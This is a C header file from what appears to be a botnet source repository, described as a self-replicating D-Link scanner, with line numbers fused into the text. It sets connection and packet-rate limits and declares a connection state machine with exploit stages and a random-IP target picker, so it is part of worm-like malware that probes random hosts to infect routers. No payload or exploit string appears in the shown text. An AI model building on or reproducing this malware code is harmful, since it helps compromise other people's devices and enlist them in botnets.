Path: blob/master/Botnets/Self Reps/DLink/dlink_scanner.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#ifdef SCAN_MAX7#define dlinkscanner_SCANNER_MAX_CONNS 5128#define dlinkscanner_SCANNER_RAW_PPS 7209#else10#define dlinkscanner_SCANNER_MAX_CONNS 12811#define dlinkscanner_SCANNER_RAW_PPS 16012#endif1314#ifdef SCAN_MAX15#define dlinkscanner_SCANNER_RDBUF_SIZE 102416#define dlinkscanner_SCANNER_HACK_DRAIN 6417#else18#define dlinkscanner_SCANNER_RDBUF_SIZE 25619#define dlinkscanner_SCANNER_HACK_DRAIN 6420#endif2122struct dlinkscanner_scanner_connection23{24int fd, last_recv;25enum26{27dlinkscanner_SC_CLOSED,28dlinkscanner_SC_CONNECTING,29dlinkscanner_SC_EXPLOIT_STAGE2,30dlinkscanner_SC_EXPLOIT_STAGE3,31} state;32ipv4_t dst_addr;33uint16_t dst_port;34int rdbuf_pos;35char rdbuf[dlinkscanner_SCANNER_RDBUF_SIZE];36char payload_buf[1024];37};3839void dlinkscanner_scanner_init();40void dlinkscanner_scanner_kill(void);4142static void dlinkscanner_setup_connection(struct dlinkscanner_scanner_connection *);43static ipv4_t dlinkscanner_get_random_ip(void);444546